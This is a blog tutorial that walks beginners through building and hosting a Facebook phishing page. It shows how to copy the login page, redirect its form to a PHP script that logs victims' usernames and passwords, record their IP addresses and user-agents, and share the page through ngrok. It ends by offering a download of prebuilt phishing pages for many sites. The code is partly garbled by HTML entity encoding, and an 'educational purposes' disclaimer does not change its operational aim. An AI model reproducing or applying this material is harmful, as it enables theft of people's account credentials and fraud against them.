Complete guide creating and hosting a phishing page

Table of Contents

phishing page – In this article, I’m going to teach you how to create a phishing page for beginners. Now you think so many phishing tools are available on the web, so why do we need to create a phishing site. All tools are creator convenience so you can only use that page. but if you learn from this tutorial you can make any website a phishing page.

How to create a phishing page?

Requirements

  1. Any Device
  2. Chrome Browser

Features

  1. Get username and password
  2. Get User-Agent information
  3. Get OTP

Download HTML Index page of Target

First, we need to choose the target website. After that just go to that website. I choose the Facebook website.

Complete guide creating and hosting a phishing page
Facebook page

Once you entered your target website, click right said mouse button to select the “view page source” option

Complete guide creating and hosting a phishing page
Select view page source option

Once you click the “view page source option“. it will open one new window and show all that website source

facebook page source code
Facebook page source

Now press Ctrl+A to copy the Facebook page source. After that past it to your notepad

Complete guide creating and hosting a phishing page
Save source code into our notepad

After getting the page source in your notepad. press Ctrl+F to open the find bar on your notepad. then type Action= in the find bar

Complete guide creating and hosting a phishing page
Find Action= command

Now Remove the /login/privacy_mutation_token=eyJ0eXBlIjowLCJjcmVhdGlvbl90aW1lIjoxNjEwNzY3NTUzLCJjYWxsc2l0ZV9pZCI6MzgxMjI5MDc5NTc1OTQ2fQ%3D%3D command and type login.php 

Complete guide creating and hosting a phishing page
Replace the action Url to login.php

After that save this facebook source file with the name login.html

how to create phishing site
Save edited facebook page source

Creating PHP file For Password Harvesting

Now we have to complete creating a Facebook phishing site but if we host this login.html file into our system it will not capture any data from the user so now we need to create a harvesting PHP script Therefore you follow the below steps.

First, you need to copy paste the below PHP code in your notepad.

									<!--phpheader (&#8216;Location: facebook.com&#8217;);$handle = fopen(&#8220;log.txt&#8221;, &#8220;a&#8221;);foreach($_POST as $variable =--> $value) {fwrite($handle, $variable);fwrite($handle, &#8220;=&#8221;);fwrite($handle, $value);fwrite($handle, &#8220;rn&#8221;);}fwrite($handle, &#8220;rnnnn&#8221;);fclose($handle);exit;?>				

After that, you save this PHP file with the name login.php

victim information geathering
Save Harvesting PHP file

If we need to create other website phishing pages means one small correction is there in the login.php file header section. the current login.php file header section is facebook.com. if you create an Instagram phishing page means you change that header value facebook.com to instagram.com

									<!--phpheader (&#8216;Location: instagram.com&#8217;);$handle = fopen(&#8220;log.txt&#8221;, &#8220;a&#8221;);foreach($_POST as $variable =--> $value) {fwrite($handle, $variable);fwrite($handle, &#8220;=&#8221;);fwrite($handle, $value);fwrite($handle, &#8220;rn&#8221;);}fwrite($handle, &#8220;rnnnn&#8221;);fclose($handle);exit;?>				

Create a PHP file to get user-agent information

Now we completed creating a phishing page and creating a Password Harvesting script. After that, we need to create a user-agent information script so you follow the below steps.

Now we need to create another PHP file to capture victim “user-agent” information so you copy the below PHP code and past it to your notepad.

									<!--phpif (!empty($_SERVER[&#8216;HTTP_CLIENT_IP&#8217;]))    {      $ipaddress = $_SERVER[&#8216;HTTP_CLIENT_IP&#8217;].&#8221;rn&#8221;;    }elseif (!empty($_SERVER[&#8216;HTTP_X_FORWARDED_FOR&#8217;]))    {      $ipaddress = $_SERVER[&#8216;HTTP_X_FORWARDED_FOR&#8217;].&#8221;rn&#8221;;    }else    {      $ipaddress = $_SERVER[&#8216;REMOTE_ADDR&#8217;].&#8221;rn&#8221;;    }$useragent = &#8221; User-Agent: &#8220;;$browser = $_SERVER[&#8216;HTTP_USER_AGENT&#8217;];$file = &#8216;ip.txt&#8217;;$victim = &#8220;IP: &#8220;;$fp = fopen($file, &#8216;a&#8217;);fwrite($fp, $victim);fwrite($fp, $ipaddress);fwrite($fp, $useragent);fwrite($fp, $browser);fclose($fp);</xmp-->				</code></pre><p>After that save this PHP file with the name <strong>ip.php</strong></p><figure>										<img alt="user agent information geathering script" decoding="async" height="208" loading="lazy" sizes="(max-width: 613px) 100vw, 613px" src="https://www.errorsfind.com/wp-content/uploads/2021/07/ip_php_file_creation.png" srcset="https://www.errorsfind.com/wp-content/uploads/2021/07/ip_php_file_creation.png 613w, https://www.errorsfind.com/wp-content/uploads/2021/07/ip_php_file_creation-300x102.png 300w" width="613"><figcaption>Save User agent information script</figcaption></figure><h3>Connect all files into one file</h3><p>Now we have three files ip.php, login.html, and login.php. therefore connect all files into one file. so only we can host this file.</p><p>Copy the below PHP command into your notepad</p><pre data-line="">				<code readonly="true">					<xmp><!--phpinclude &#8216;ip.php&#8217;;header(&#8216;Location: login.html&#8217;);exit?-->				

Now save these files with the name index.php

Complete guide creating and hosting a phishing page
All files into one file

This is an Alert
This is only for educational purposes. If you use this for other purposes except for education we will not be responsible in such cases

How to Host a phishing page

so many ways are there to host our phishing page but now I’m teaching you two simple methods.

  1. Local server hosting
  2. 000webhost hosting

Local server hosting

First, you open the terminal inside the phishing page’s and type this below command.

									php -S localhost:4444				
Hosting a phishing file
Host phishing page in local server

Now you will get a shareable link but this link only works on the same wifi network. if you need to share out of the network means to start the ngrok. so you minimize the current terminal and open a new one to start ngrok

hosting with ngrok
Ngrok link

Now share the ngrok link to your victim

Victim view

Once your victim clicks your link means that link will be shown in the below image.

Complete guide creating and hosting a phishing page
Facebook phishing page

If your victim types any data on your page.

victim view facebook phishing page
Username and password

That’s all data captured and show on your terminal.

get victim username and password
victim information

Now you can create any website as a phishing site with this method. if you need more techniques tell me the command section.

All website phishing page

All Website phishing page


Wait for 120 seconds to download all phishing pages


You have to wait 120 seconds.

Download All Phishing Page


PASSWORD: www.errorsfind.com

Post a Comment

Previous Post Next Post